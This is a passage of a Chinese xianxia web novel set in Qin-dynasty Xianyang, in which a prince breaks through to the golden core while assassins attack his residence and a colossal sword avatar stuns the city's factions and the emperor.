“那不就更有意思了?”
洞外雷声轰鸣,暴雨将至。
谁也没发现,黑暗的角落中,一道人影宛若鬼魅般快速闪过。
第27章 法天象地,凝!
此时此刻。
六公子府。
内室。
夜色如墨,赢子夜盘膝而坐,周身萦绕着淡淡的金色光晕。
七十二柄寸许长的金色小剑悬浮在他身侧,剑锋流转间,发出细微的铮鸣,如同游鱼般环绕飞舞。
他随手从玉瓶中倒出一把“九转金丹”,像嚼糖豆般丢进嘴里。
喉结滚动,丹药入腹的瞬间!
“轰!!”
体内真元如江河奔涌,经脉中泛起灼热的刺痛感!
寻常修士若是如此吞服灵药,怕是早已爆体而亡。
但赢子夜只是微微蹙眉,连呼吸都未曾紊乱。
“筑基巅峰……”
他内视丹田,只见气海之中,真元已凝成液态,如金色湖泊般翻涌不息。
湖心处,隐约有一枚虚幻的丹影正在成型,但始终差了一丝火候。
“啧,还不行吗?”
赢子夜懒洋洋地叹了口气,又摸出一颗通体赤红的“龙血朱果”。
咬破果皮的刹那,馥郁的香气弥漫整间内室,果肉化作炽热的洪流冲入四肢百骸。
他周身金芒暴涨,肌肤上浮现出细密的龙鳞纹路,又转瞬隐没。
若是有修仙界的人在此,定会骇然失色!
这哪里是修炼?
根本就是在烧灵药!
寻常修士苦修百年都未必能踏入筑基!
而赢子夜不过半月,便已至筑基巅峰,甚至开始冲击结丹。
究其原因,无非两点:
第一,他把千年灵药当零嘴吃,系统秒杀的丹药论瓶嗑!
第二,他确实是个妖孽级的天才。
再庞大的药力入体,都能被他以最精妙的方式炼化,半点不浪费!
“咔嚓!”
赢子夜又咬碎一枚冰晶般的“玄霜灵髓”!
寒意瞬间与体内灼热的药力中和!
他双手结印,七十二柄金色小剑突然合而为一,化作一柄三尺青锋悬于头顶!
“凝!”
他低喝一声,剑锋直指丹田,试图强行压缩真元结丹。
周身真元如沸!
丹田之中,液态的金色灵湖疯狂旋转,而中央处,一枚虚幻的金丹轮廓正逐渐凝实。
“还差一点……”
他忽然睁眼,眸中金芒暴涨。
窗外夜空骤然变色,乌云翻涌,雷光隐现!
这是结丹天象!
“麻烦。”
赢子夜眉头一皱,指尖掐诀。
七十二柄金色小剑突然冲天而起,在府院上空交织成网,硬生生将天象压制在方寸之间!
乌云被剑网所阻,只能在小院上空翻腾。
雷光劈落,却被剑气绞碎,化作细碎的电弧消散!
——整座咸阳城,无人察觉异样。
……
西厢房。
静卧的少司命蓦然睁眼,紫瞳中闪过一丝惊诧。
她敏锐地感知到,府中灵气正疯狂涌向赢子夜的内室!
那磅礴的威压,竟让她周身的阴阳咒印都微微震颤!!!
“这是……境界突破?”
她身形一闪,紫纱飘动间已至院中。
正要前往查探,耳畔却忽然捕捉到一丝不寻常的动静。
“嗖!”
两道黑影自墙头掠过,身法快如鬼魅!
少司命紫瞳骤缩,立刻隐入阴影。
她看得分明——
前方那人一袭白衣,足尖点地时绽开冰莲,正是墨家雪女!
后方男子怀抱湛蓝长剑,每一步都带着刺骨寒意,不是高渐离又是谁?
只见雪女突然驻足,玉指轻抬。
无数冰晶在空中凝结成字:
“有杀气!”
高渐离见状,水寒剑已然出鞘三寸,剑锋所指,正是赢子夜内室的方向!
刹那!
夜色骤寒!
少司命足尖一点,紫纱翻飞间已拦在二人面前。
她不言不语,只是抬手一挥,漫天紫色花瓣如利刃般席卷而去!
“阴阳家!”
高渐离眼神一凛,水寒剑悍然出鞘!
湛蓝剑光横扫,所过之处花瓣尽数冻结,却在碎裂的瞬间化作毒雾弥漫。
雪女白绫一卷,寒气骤然爆发,将毒雾凝成冰晶簌簌落地。
她朱唇轻启,声音如冰泉击玉:“让开。”
少司命紫瞳冰冷,双手迅速结印。
地面突然窜出无数藤蔓,每一根都缠绕着幽蓝咒火,直扑二人!
高渐离纵身跃起,剑锋在空中划出七道残影!
“易水寒!”
剑气如瀑,藤蔓寸断!!!
雪女趁机欺身而上,素手轻扬,无数冰锥自虚空凝结,朝少司命刺去!
少司命身形飘忽如烟,在冰锥间穿梭闪避。
她突然五指一抓,所有碎裂的花瓣骤然聚拢,化作一柄紫色长剑!
“铛——!”
紫剑与水寒剑相撞,火花四溅!
高渐离只觉一股阴柔劲力顺剑袭来,整条手臂瞬间麻痹。
他猛地后撤,却见少司命已鬼魅般绕至身侧,紫剑直取咽喉!
“小心!”
雪女白绫如蛟龙出海,缠住少司命手腕。
同时她脚掌轻跺,地面瞬间凝结成冰,无数冰刺破土而出!
少司命被迫撤剑,身形如蝶般轻盈跃起。
她在空中旋身,紫袖翻飞间,数十枚淬毒银针爆射而下!
高渐离剑舞如轮,银针尽数被格挡。
雪女趁机双手合十,轻喝一声:“凝!”
整个院落温度骤降,少司命飘落的身形竟被一层薄冰悄然覆上!
而内室之中。
赢子夜双目紧闭,额角渗出细密的汗珠。
丹田内,金色灵湖已彻底沸腾,中央的虚丹正在疯狂吞噬真元,距离彻底凝实只差最后一步!
然而——
“铛!”
院外传来的金铁交鸣声刺入耳膜,紧接着是雪女清冷的喝声与肆虐的寒气波动。
赢子夜眉头微蹙。
他感知得一清二楚!
少司命正以一敌二,独战高渐离与雪女!
若在平时,他早就提剑杀出去了。
可此刻,他体内真元正处于最狂暴的状态,稍一分神,便会丹毁人伤!
“啧,麻烦……”
他强压下心头躁动,双手结印的速度更快了几分。
现在唯一的办法,就是尽快完成结丹!!!
院中。
“咔嚓——”
少司命足下的冰层突然炸裂!
她紫袖翻飞,数十道咒印凌空浮现,化作幽火锁链缠向二人。
高渐离水寒剑一震,剑锋所过之处,锁链尽数冻结。
他眼中寒芒暴涨:“最后一剑,送你上路!”
剑势骤变,易水寒终极杀招!
“风萧萧兮”!
整个院落的温度瞬间降至冰点,剑气未至,少司命的紫纱已结出霜花。
雪女同时出手,白绫如银河垂落,所过之处空气都为之凝固:“凌波飞雪!”
前有绝杀剑气,后有封天寒冰!
少司命紫瞳微缩,双手迅速结印,周身骤然绽放出耀目紫光——
“阴阳合气手!”
“轰——!”
三股力量对撞的冲击波震碎了方圆十丈内的所有瓦砾!!!
少司命闷哼一声,嘴角溢出一丝鲜血,连退七步才稳住身形。
她
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紫纱残破,面纱边缘渗出一道刺目的血痕。
紧接着,便是高渐离的剑势如影随形,水寒剑锋上的霜气已触及她的咽喉。
“结束了。”
高渐离眼中寒光凛冽,剑锋再进一寸!
雪女的白绫同时封锁了少司命所有退路,冰晶在她指尖凝结成致命尖刺,直指少司命心口!
生死一瞬——
“铮——!!!”
一道璀璨金光骤然自内室爆发!
高渐离的剑锋在距离少司命咽喉仅剩半寸时,突然被一股无形之力狠狠震开!
水寒剑发出痛苦的嗡鸣,剑身上的冰霜竟在瞬间蒸发成雾。
高渐离虎口崩裂,整个人被这股巨力掀飞三丈,重重撞在院墙之上!
“什么?!”
雪女瞳孔骤缩。
她还未反应过来,一股浩瀚如渊的气息已轰然降临!
整座院落的地面在颤抖,砖石缝隙间迸发出刺目的金芒。
空气仿佛凝固,她引以为傲的寒冰真气竟在这股威压下寸寸碎裂!
“什么人?!”
高渐离以剑拄地,嘴角溢血。
他不可置信地望向内室方向。
“轰——!”
整座庭院突然剧烈震颤!
地面青砖寸寸龟裂,无数道金色剑纹从裂缝中迸射而出,在空中交织成一张遮天剑网。
天地骤暗!
整座咸阳城的灯火在这一刻尽数熄灭!
只见一尊高达数十丈的金色法相,通天彻地,自虚空浮现!
它仅仅是存在的姿态,就让方圆百里的空间发出不堪重负的爆鸣声!
仿佛这片天地根本无法承载它的降临!!
鎏金战甲上的每一道铭文都在流淌着熔岩般的金辉。
那些古老的纹路分明是早已失传的仙道真言。
平天冠垂下的十二道玉旒轻轻晃动,每一次碰撞都引发虚空震颤。
其声如黄钟大吕,震得整座城池的瓦砾簌簌作响!!
最令人毛骨悚然的是那双金瞳!
那不是人类能拥有的眼神。
左瞳如大日烈阳,光耀处万物显形。
右瞳似九幽冥月,视线所及连影子都在消融。
当这双重瞳俯瞰而下时。
高渐离清晰地看见,自己的倒影在那瞳孔中扭曲、破碎、最终化为齑粉!
“轰!!!”
法相手中的巨剑只是随意一划。
没有招式。
没有技巧。
纯粹到极致的“存在”本身,就是最恐怖的威能!
剑锋过处,夜空像块破布般被撕开一道横贯天际的裂痕。
这道真空剑痕长达千丈。
两侧的云海疯狂翻涌退散。
却不是被剑气吹开,而是像被某种至高意志命令着,战战兢兢地跪伏退避!
裂痕中露出的不是星空。
是混沌!
是虚无!
是连光阴都不敢涉足的绝对禁区!!!
咸阳城内。
所有剑器同时发出凄厉的哀鸣。
游侠们手中的青铜剑纷纷自行折断。
军营里的战戟无火自燃。
就连章台宫深处那柄定秦剑,都在剑鞘中剧烈颤抖,仿佛在向某个更古老的存在臣服。
距离最近的少司命,突然闷哼一声!
她骇然发现自己的阴阳咒印正在瓦解。
不是被破坏,而是像积雪遇见烈阳般,心甘情愿地融化在那金辉之中!
这根本不是人间该有的力量……
这是…
天罚!!!
法相缓缓低头俯瞰,望向院内。
这个简单的动作,却让方圆十里的建筑同时浮现裂痕!
第28章 一剑西来,天外飞仙!
“陆地神仙…”
高渐离虎口崩裂,水寒剑发出哀鸣。
“六公子府,竟藏着这等人物?!”
雪女指尖凝结的冰晶瞬间汽化:“有强者在护持那赢子夜!”
二人心中骇然。
难怪赢子夜敢如此肆无忌惮。
原来背后,站着一位即将羽化登仙的绝世强者!!!
……
咸阳城。
一尊通天彻地的金色法相,宛如神祇降世,屹立于六公子府上空!
数十丈高的鎏金身影,头戴平天冠,身披战天铠,双目如日月悬空,俯瞰人间。
其手中巨剑直指苍穹,剑锋上缠绕的金色雷霆,将整片夜空撕成碎片!
“轰——”
“咔!!!”
天穹炸裂!
雷鸣照亮整座城池!
……
中车府。
“哗啦!”
赵高手中的茶盏摔得粉碎。
他猛地起身,黑袍下的手指微微颤抖:“又是六公子府?!”
转魄、灭魂姐妹单膝跪地,面具下的脸色惨白:“大人,那法相威压…已超越天字级**!”
赵高袖中蜘蛛丝瞬间绷断:“查!不惜一切代价!”
……
黑冰台秘阁。
“咔嚓!”
青铜虎符炸裂!
独眼统领一把扯下眼罩,露出狰狞伤疤下的血红瞳孔:“快报陛下!!六公子府中有大恐怖!!!”
……
蜃楼,观星台。
“砰!”
星魂捏碎栏杆,幽蓝火焰在周身暴起:“这不可能!那是…六公子府方向!!”
月神银发狂舞,额前月纹渗出鲜血!
“首领!此子莫非真有…仙人垂青?”
东皇太一站在旁边,黑金面具下传来沙哑低语:“这就是…天命。”
……
儒家据点。
一名儒生手中的《春秋》竹简“啪嗒”落地。
“这…这是……”
他儒雅的面容上出现惊骇之色,“圣王法相?!”
一旁的同侪急忙扶住他:“师兄!我们…”
儒生猛地抓住他手腕:“速回小圣贤庄!立刻!”
……
六国贵族,各个暗桩点。
“哗啦——”
楚地项氏一族的密探打翻了油灯,火光照亮他惨白的脸:“快!传信江东!六公子府中藏了个怪物!”
燕国死士咬破手指,在绢布上急书:“六公子已成大患,身边疑似有绝世高手护持,请速决断!”
整座咸阳城,在这一刻彻底沸腾!
街巷中,无数黑影疯狂穿梭。
屋檐上,信鸽、机关鸟如暴雨般腾空!
所有人的目标只有一个!
六公子府!!
……
院中。
高渐离的虎口已被震裂,鲜血顺着剑柄滴落,在水寒剑上凝成猩红的冰晶。
他望着那通天彻地的金色法相,握剑的手却愈发用力。
“阿雪,走!”
他声音低沉,带着不容抗拒的决绝。
雪女的白绫早已寸断,指尖凝结的冰霜也在法相威压下不断消融。
她站在高渐离身侧,冰蓝色的眸子倒映着漫天金光,却无半分退意。
“我不走。”
短短三字,清冷如霜,却重若千钧。
高渐离侧目看她,眼中闪过一丝痛色:“这是命令!”
雪女忽然笑了。
那笑容如冰雪初融,让高渐离恍然想起十年前,赵国雪夜中初遇时的场景。
“你从来,命令不了我。”
她抬手,纤白的指尖轻轻搭在高渐离染血的手背上。
这一碰触,胜过千言万语!
高渐离瞳孔微缩,反手一把握住她冰凉的手指。
十年并肩,生死与共。
那些未曾言明的情愫,在此刻尽数化作掌心温度!
“……好。”
他不再多言,水寒剑突然迸发出前所未有的湛蓝寒光!
剑身上的冰纹寸寸亮起,竟浮现出古老的铭文——
那是禁术的印记!
雪女会意,素手结印。
她朱唇轻启,吐出的每个字都让周围温度骤降:“以我精血,祭我身躯!!”
“凌波飞雪!”
高渐离同时暴喝:“易水寒·终!”
二人周身突然爆发出刺目的蓝白光芒!
水寒剑与冰雪之力交织,竟在空中凝成一柄十丈长的冰晶巨剑!
剑锋所指,连金色法相的威压都被短暂逼退!
高渐离嘴角溢血,却将雪女的手握得更紧。
他能感觉到她的生命力正在飞速流逝,就像他一样。
“怕吗?”
他低声问。
雪女凝视着那遮天蔽日的金色法相,声音轻得只有他能听见:
“与你一起,不悔。”
冰晶巨剑悍然斩下!
所过之处,空间冻结,时间仿佛静止。
这是融合二人全部生命的一击,是赌上一切的——
同归于尽!!!
天地在这一刻寂静。
高渐离与雪女十指相扣,周身燃烧的生命之火化作冲天蓝芒。
冰晶巨剑斩落的瞬间,连漫天雷霆都为之凝滞。
这是融汇二人毕生修为、乃至灵魂的一剑!!!
然而,天地骤然凝固!
那尊通天法相突然静止。
鎏金战甲上的仙纹逐一亮起,仿佛在回应某个更高维度的呼吸。
平天冠垂下的玉旒无风自动,每一次碰撞都让现实产生细密的裂痕!
它右手并指如剑,向天一引。
“一剑西来,天外飞仙!”
“铮——!!!”
一道清越剑鸣自九霄云外传来!
不是响在耳中。
是直接震彻灵魂!
霎时间!
风停!
云止!
整座咸阳城的强者同时抱头跪地。
他们的七窍渗出鲜血,却根本听不见任何声音。
这记剑鸣是直接作用于修行者的神识!!
少司命的紫瞳瞬间一缩。
她惊恐地发现,自己苦修多年的阴阳咒印正在这记剑鸣中土崩瓦解,就像沙堡遇见海啸!!
天…裂开了。
只见一道白虹贯月而来!
那剑光皎洁如雪,纯粹得不含半点杂质。
所过之处。
漫天星斗为之让路!
滚滚黑云自行分开!
剑未至,意先临——
其轨迹根本无法用肉眼捕捉。
那不是凡人能理解的“快”,而是直接超越了时间的桎梏!
当你看见它时,它早已命中目标千万次!!!
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>冰晶巨剑连一瞬都没能支撑。
只有一道纯净到极致的剑光,如清风拂过。
不是被斩断。
不是被击碎。
而是从最基础的粒子层面开始…湮灭!
高渐离的瞳孔中,那道剑光越来越近。
他突然明悟了一个可怕的事实:
这不是剑招,而是某种更恐怖的存在随手写下的一笔!
就像孩童用树枝划过沙地,根本不在意会切断多少蚁群!
仙凡之别,莫过于此!
“嗤——!”
没有惊天动地的**。
没有震耳欲聋的轰鸣。
只有最纯粹的“抹除”。
冰晶巨剑所在的那片空间,连带着方圆十丈内的光影、声音、甚至空气,都被这一剑彻底擦去!
留下的只有绝对的虚无。
连混沌都不敢靠近的绝对禁区!
这一剑!
超脱了招式的范畴!
超越了武学的极限!
仿佛天道…亲自挥出的一记惩戒!
“原来如此…”
他握紧雪女的手,在生命的最后时刻露出释然笑意。
白虹掠过!
“嗤——!”
冰晶巨剑寸寸崩解,化作漫天晶莹光点。
高渐离与雪女的身影被剑光吞没,却在最后一刻被一股柔劲分开。
就在那一瞬间。
“嗡!”
一道青色剑芒自巷尾暴起!
那剑光如游龙惊鸿!
在千钧一发之际横贯战场!
硬生生截住了天外飞仙的余威。
“铛——!”
金铁交鸣声响彻夜空。
青色剑芒应声碎裂。
却为高渐离二人争取到…
一线生机!!!
“百步飞剑?!”
昏迷前的高渐离勉强睁眼。
模糊视野中,那道熟悉的剑意让他浑身一震!
可未及细看。
一只骨节分明的手已拎起他和雪女的衣领,借着剑势余波暴退十丈!
“噗——!”
暗处传来压抑的吐血声。
盖聂面具下的脸色惨白,右臂衣袖尽碎,持剑的虎口血肉模糊。
他低头看了眼昏迷的二人,又望向远处那尊缓缓消散的金色法相,眼中闪过一丝骇然!
仅仅是一剑余威,就让他这位“剑圣”遭受重创?!
不敢停留,盖聂身形如烟,借着夜色的掩护急速远遁。
每踏出一步,地上就留下一滩刺目的血迹!
少司命瘫坐在院子里,面纱更是被剑气撕碎。
她绝美的脸庞此刻惨白如纸。
因为就在刚才,她体内的木灵之力自发形成了一个古怪的图案。
那是生灵面对天敌时本能的臣服!
整座咸阳城,已陷入死寂。
所有目睹这一剑的修行者,道心都出现了不同程度的裂痕。
他们的修为或许还在。
但那份“敢与天争”的锐气,已经被这一剑彻底斩灭!!!
而在六公子府的内室。
赢子夜**于榻上,指尖一缕剑气悄然消散。
他缓缓眯眼,望向盖聂离去的方向,嘴角微扬:“倒是个重情义的。”
“也罢,懒得追了。”
他打了个哈欠,仿佛刚才那惊世一剑,不过是梦中的随手一挥。
第29章 六公子的背后,必有大恐怖!
城中,一处暗哨据点。
“咔嚓!”
剑刃在真刚手中扭曲变形。
猩红血酒液顺着指缝滴落,在地面上洇开一片暗色!
他死死盯着那道贯穿天地的白虹剑光,面具下的瞳孔剧烈收缩,连呼吸都凝滞了一瞬!
“这…不可能!”
魍魉双剑出鞘半寸,寒光映照着他惊骇的面容。
他向来玩世不恭,此刻却连声音都在发颤:“那道剑意……连我的剑都在颤抖!”
断水虽蒙着眼,但耳尖微动,指尖轻抚剑身,沉声道:
“剑心通明,已达‘无我’之境……”
“此等剑道,绝非凡人所能及。”
乱神面具下的嘴角抽搐,手中佩剑“乱神”邪气翻涌,却在此刻诡异地沉寂下去。
仿佛被某种至高无上的剑意压制。
他咬牙低吼:“六公子府内,到底藏着什么怪物?!”
转魄、灭魂这对双胞胎姐妹背靠背站立,手中短剑交叉,却止不住地战栗。
灭魂声音发紧:“我们的剑……在畏惧。”
真刚深吸一口气,五指缓缓收紧,剑刃彻底被捏碎。
他猛地转身,声音如铁:“立刻传讯中车府!”
“六公子府有变!”
“此剑光,绝非六公子之力!!!”
“让大人……速做决断!”
话音未落,六道身影已如鬼魅般散入夜色,朝着中车府的方向疾掠而去。
……
阴阳家,观星台。
“哗啦——”
星盘轰然炸裂,碎片如刀锋般四溅,在星魂苍白的脸颊上划出一道血痕。
他怔在原地,瞳孔剧烈收缩,幽蓝色的火焰不受控制地从体内迸发,将四周的空气灼烧得扭曲变形。
“天外飞仙?!”
他的声音骤然拔高,几乎撕裂了喉咙,带着近乎癫狂的不可置信。
“这分明是失传近千年的谪仙剑诀!怎么可能……”
他的指尖深深掐入掌心,鲜血顺着指缝滴落,却浑然不觉。
那双妖异的紫瞳死死盯着远处六公子府的方向。
仿佛要透过虚空看清那道斩破天地的剑光究竟出自何人之手。
“这世上,竟有人掌握着…这种剑术?!”
星魂的声音低沉下来,却更加扭曲。
像是从齿缝间挤出的毒蛇吐信,每一个字都裹挟着不甘与暴怒。
他自幼被誉为阴阳家百年难遇的天才,年纪轻轻便踏入常人一生难以企及的境界。
可如今。
竟有人在他面前施展出连他都无法理解的剑道!!!
这不仅仅是震撼,更是对他毕生骄傲的践踏!
——他绝不认!
月神立于一旁,银发无风自动,额前的月纹不断渗出鲜血,顺着她清冷的面容滑落。
她的指尖微微发颤,素来平静如深潭的眸子此刻泛起剧烈的波澜。
“首领……”
她的声音依旧清冷,却罕见地带上了一丝动摇。
“此等剑道,已非人间之术。”
她曾窥探过无数天机,占卜过无数命数。
可,从未见过如此纯粹的剑意!
那一道白虹贯空,仿佛连天道都要为之让路!!
赢子夜……
他背后到底是什么人?
陆地神仙?
月神的呼吸微不可察地急促了一瞬,但很快又被她强行压下。
她缓缓闭上眼,试图平复内心的震撼。
可那道剑光的残影却仍烙印在她的脑海中,挥之不去。
东皇太一静立高台,黑金面具下的面容无人可见,唯有那双深不可测的眼眸倒映着天穹上尚未散尽的剑痕。
他的黑袍纹丝不动,仿佛连风都不敢惊扰他半分。
“赢子夜身边,定有绝世强者……”
“而且,超越了陆地神仙境!!”
他的声音沙哑低沉,如同砂石摩擦,却带着不容置疑的笃定。
短短两句话,却让星魂和月神同时心头一震!!
超越陆地神仙?
那…会是谁?!
他们想象不到。
因为这样的力量,已经超越了他们的认知。
东皇太一缓缓抬手,指尖轻触虚空,仿佛在感受那道剑意残留的气息。
他的动作极慢,却给人一种天地都在他掌中运转的错觉。
“此剑…不属于这个时代。”
他的声音依旧平静,可星魂和月神却敏锐地察觉到。
首领的指尖,竟有一丝极细微的颤抖!
观星台陷入死寂。
唯有夜风呜咽,仿佛在低诉着一个足以颠覆天下的秘密。
……
长公子府。
茶盏从扶苏指间滑落,砸在地上碎成几瓣,热茶溅湿了衣摆,他却浑然未觉。
窗外。
那道通天彻地的剑光已然消散。
但夜空中的云层仍被斩出一道千丈裂痕,仿佛天穹被硬生生劈开!
淳于越胡须颤抖。
手中竹简不停晃动,苍老的声音带着不可置信。
“这……这绝非六公子所能施展的剑术!他何时有这等修为?!”
其余儒生亦是面色惨白。
有人喃喃道:“难怪他敢接陛下的天子剑,原来…”
“他身后竟有如此依仗!”
扶苏静静望着剑痕消散的方向,眸光深邃。
半晌,缓缓摇头。
淳于越一怔:“长公子在想什么?”
扶苏指尖轻抚案几边缘,声音温润却笃定。
“此等剑意,已非凡人所能驾驭。”
他顿了顿,眼中闪过一丝思索。
“光是陆地神仙境…怕还不够。”
只是,此人是谁?
鬼谷纵横?
道家天宗?
亦或是某位…隐世不出的剑道至圣?
扶苏眉头微蹙,心中思绪翻涌。
这世上…真有这样的强者吗?
他想不通。
忽然,他眸光一凝,似有所悟。
——最起码,六弟这是在**!!!
向城中蛰伏的六国遗族,向那些暗中窥探的各方势力,甚至……
向朝堂上的某些人,亮出獠牙!!
这一剑,是警告,亦是宣告。
扶苏缓缓闭目,复又睁开,眼底已是一片清明。
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“备车。”
他起身,玉冠微斜却无暇整理,只淡淡道:“我要去见六弟。”
……
十八公子府。
夜色如墨,府中烛火摇曳,映得雕花窗棂忽明忽暗。
“砰!”
殿门被猛地推开,赵高疾步而入。
苍白的脸上罕见地浮现一丝凝重!
袖中蜘蛛丝无声绷紧,显然是一路疾行而来。
胡亥正倚在软榻上,指尖捏着一颗晶莹碧绿的梅子,慢悠悠地送入唇中。
见赵高匆匆闯入,他微微歪头,眼中闪过一丝玩味,嗓音却仍是少年般天真。
“老师,刚才的动静…”
赵高躬身,声音低沉而急促。
“公子,是六公子府方向!”
“方才现出一道剑光,横贯天穹,威势惊人。”
“呵。”胡亥眨了眨眼,唇角扬起一抹甜腻的笑。
“果然是六哥。”
“查出来是谁了吗?”
他指尖轻轻一碾,梅果皮破裂,汁水顺着指缝滴落,在锦缎袖口洇开一片。
赵高目光微闪,低声道:“正在查。”
“但此剑之威,绝非寻常武者所能施展,老奴怀疑……”
“怀疑什么?”
胡亥慢条斯理地舔了舔指尖,眼中笑意不减,却透着一丝冷意。
“怀疑六公子背后,有大恐怖!”
赵高沉声道,“此剑之凌厉,按理说,当世能施展者,不过寥寥数人。”
“鬼谷子、墨家矩子、或道家天宗那位……”
“但老奴仔细揣摩后发现,哪怕是这几位出手,怕也是不够的。”
胡亥轻笑一声,嗓音甜软如蜜:“老师,你莫不是想说,六哥府上藏着一位真正的仙人?”
赵高沉默片刻,缓缓摇头:“老奴不敢妄断,但此剑之威,确实……”
“有趣。”
胡亥忽然打断他,眸子微微眯起,像只慵懒的猫儿。
“六哥平日里不显山不露水,今日却闹出这般动静,倒是让人刮目相看。”
他站起身,赤足踩在冰凉的地砖上,缓缓踱步,语气轻快。
“不过,老师,你觉得这一剑,会不会是…”
“六哥自己斩出的?”
赵高一愣,随即垂首:“老奴以为,六公子虽有些手段,但此等剑势,绝非他能驾驭。”
“是啊……”
胡亥轻轻叹息,眼中却闪烁着兴奋的光芒。
“若真是他,那才叫有意思呢。”
他忽地转身,笑意盈盈地看向赵高。
“老师,你说…这一夜过后,那些躲在暗处的六国老鼠们,会怎么想?”
赵高沉吟道:“六国贵族,恐怕再不敢小觑六公子。”
“不止。”
胡亥轻笑,嗓音甜腻,却透着刺骨的寒意。
“他们或许会…同仇敌忾呢。”
他歪着头,指尖轻轻敲击着案几,发出清脆的声响:
“六哥啊六哥,无论这一剑是谁发出的,倒是帮了我一个大忙。”
赵高抬眸,正对上胡亥那双看似天真、实则深不见底的眼睛。
心头,微微一凛。
第30章 仙家传承?!
章台宫。
殿内烛火森然,青铜灯盏映照出帝王冷峻的侧脸。
玄色帝袍上的金线龙纹在暗光下如活物般游动。
九旒冕垂下的玉珠纹丝不动,仿佛连空气都在帝威之下凝固。
“砰!”
黑冰台统领单膝跪地,独眼中倒映着帝王森冷的影子,声音嘶哑如刀刮铁石!
“陛下,六公子府异动已查明!”
“乃刺客袭杀,或许是想引公子背后的那位绝世强者出手。”
始皇帝指节轻叩龙案,每一声都似闷雷炸在人心头。
“刺客?”
“是。”
统领喉结滚动,额头渗出冷汗。
“前两批刺客身份不明,但最后现身之人……”
他顿了顿,嗓音更低:
“剑法极似盖聂。”
“轰——!”
帝王猛然拍案,整座大殿为之一震!
案上竹简哗然散落,墨砚翻倒,漆黑的墨汁如血般蜿蜒流淌。
“盖聂?”
始皇帝缓缓起身,玄鸟纹的帝袍无风自动,眸中寒芒如万载玄冰!
“寡人的剑术教师,第一侍卫,竟敢对寡人的儿子出手?!”
他的声音并不高。
却似九幽寒渊中刮出的阴风,冻得人骨髓生寒!
殿角侍立的宦官双腿发颤,险些跪倒在地。
黑冰台统领的独眼剧烈收缩。
仿佛看见当年横扫六国时,这位帝王用这般语气下令夷平邯郸的模样。
他深深俯首:
“末将已派‘血鸦’追踪,此人轻功冠绝黑冰台,定能……”
“带盖聂来见寡人。”
始皇帝打断他,每个字都像淬了毒的**。
“若敢反抗……”
鎏金扶手突然被捏出五道指痕,玄铁打造的龙案发出不堪重负的**!
“格杀勿论!!!”
最后一字落下时,统领的独眼瞥见帝王腰间定秦剑的铭文正渗出猩红血光。
那“定秦”二字仿佛活了过来,化作狰狞血龙在剑鞘上游走。
这是刚才那冠绝天地的一剑所造成的影响…
就连天子剑,也在躁动!!
“诺!”
统领重重叩首,起身时才发现后襟已被冷汗浸透。
他迅速退下,殿门缓缓闭合。
烛火却是骤然一暗。
始皇帝负手而立,玄色帝袍垂落如夜幕,深邃的目光穿透窗棂,直刺向六公子府的方向。
夜风卷动冕旒玉珠,碰撞声如金戈低鸣。
“仙人……”
低沉的嗓音在空荡的大殿内回荡,帝王指腹缓缓摩挲着腰间剑柄,鎏金玄鸟纹在掌心留下深刻的烙印。
“那虚影若真与你有关…”
案头烛火突然爆响,将帝王的身影在殿壁上拉出狰狞的轮廓!
他凝视着跳动的火焰,仿佛看见那晚天穹裂开时垂落的谪仙身影。
素衣白发,足踏金莲!
他倏然冷笑。
“寡人倒要看看,是仙临凡尘…”
骨节泛白的手掌猛地攥紧,青铜灯盏应声炸裂,滚烫的蜡油溅在龙纹地砖上,化作十二道狰狞的爪痕。
“还是你本就是仙!!!”
狂笑骤起,声震殿梁!
九旒玉珠狂乱碰撞,玄鸟帝袍翻涌如乌云压境。
“不过…”
帝王突然转身,定秦剑鞘上的血龙纹路竟随笑声游动起来。
“如今诸子百家蠢动,六国余孽蛰伏。”
“值此之际,我儿竟藏此底牌!!”
他的笑声渐渐低沉,整座章台宫的烛火齐齐熄灭。
黑暗中唯有帝王双目如炬,似有金芒在瞳孔深处燃烧。
缓缓抬起的指尖上,还沾着方才捏碎的蜡泪。
始皇帝凝视着那点猩红。
忽然想起,那枚让自己重返壮年的仙丹。
想起朝堂上,那番鞭辟入里的定边之策。
更想起黑龙卷轴现世时,那道立于阶下却敢直面风暴的身影!
冕旒阴影下,帝王嘴角扬起近乎狰狞的弧度。
“朕的大秦,后继有人!”
“轰——!”
突如其来的雷光劈开夜空,刹那照亮帝王森白的面容。
那笑意尚未消散,眼中寒芒却已化作实质的杀意,连暴雨拍打窗棂的声音都为之凝滞!
“从今日起,谁胆敢动寡人的血脉……”
定秦剑突然自行出鞘三寸,血色铭文将半座大殿染成猩红!
十二盏青铜灯无风自燃,火焰竟呈现诡异的幽蓝色。
帝王拂袖转身时,殿外传来黑冰台死士们破空而去的尖啸。
案头竹简无风自动。
露出最新那卷名册。
墨家、农家、项氏…密密麻麻的朱批如血。
“便是九天神魔,”
“也要永堕无间!”
最后一声惊雷炸响时,整座咸阳城的狗吠突然断绝。
唯有章台宫檐角玄鸟像的双目,在雨幕中泛起血色的光。
……
六公子府。
夜风掠过檐角,吹动少司命垂落的紫纱。
她静立在门前,指尖微微蜷缩,紫瞳中倒映着紧闭的房门。
方才那道通天彻地的剑光,仍在脑海中挥之不去。
那个人……究竟是谁?
面纱下的唇轻轻抿起。
她素来淡漠的眸中罕见地浮现一丝犹豫,最终抬手推开了门。
“吱呀——”
内室烛火昏黄,赢子夜正懒洋洋地倚在软榻上,衣衫松散,手里还捏着半块啃了一半的灵果。
见她进来,他漫不经心地抬了抬眼皮:“你进别人房间都不敲门的吗?”
少司命脚步微顿。
这般散漫的模样……
院外刚刚还在大战,他竟能如此冷静。
她沉默片刻,忽然抬手,指尖凝出一缕幽紫色的灵力,在空中勾勒出两个字——
谢谢。
赢子夜眉梢一挑,忽然笑了:“谢我什么?”
他随手将果核一抛,正好落入角落的青铜盂中。
“该是我谢谢你才对。”
少司命紫瞳微凝。
“若不是你挡在前面,我这会儿怕是已经被墨家那两位戳成筛子了。”
赢子夜伸了个懒腰,语气轻佻得像在讨论今日的天气。
“阴阳家少司命亲自护卫,这份面子…啧啧。”
少司命怔住。
他想……让我来替他遮掩?
面纱下的唇角无意识地绷紧。
她当然明白。
那道剑光绝非自己所能企及。
而眼前这人此刻的惫懒模样,分明是要将今夜震慑咸阳的“天外飞仙”,全数归功于她的守护!
为何?
他是不想让背后那位高手露面吗?
赢子夜忽然凑近,带着蜜饯甜香的气息拂过她耳畔:“怎么?感动得说不出话了?”
他眨眨眼,“要不……以身相许?”
“唰!”
三枚淬毒银针瞬间抵住他咽喉。
赢子夜哈哈大笑,举手作投降状:“玩笑玩笑!”
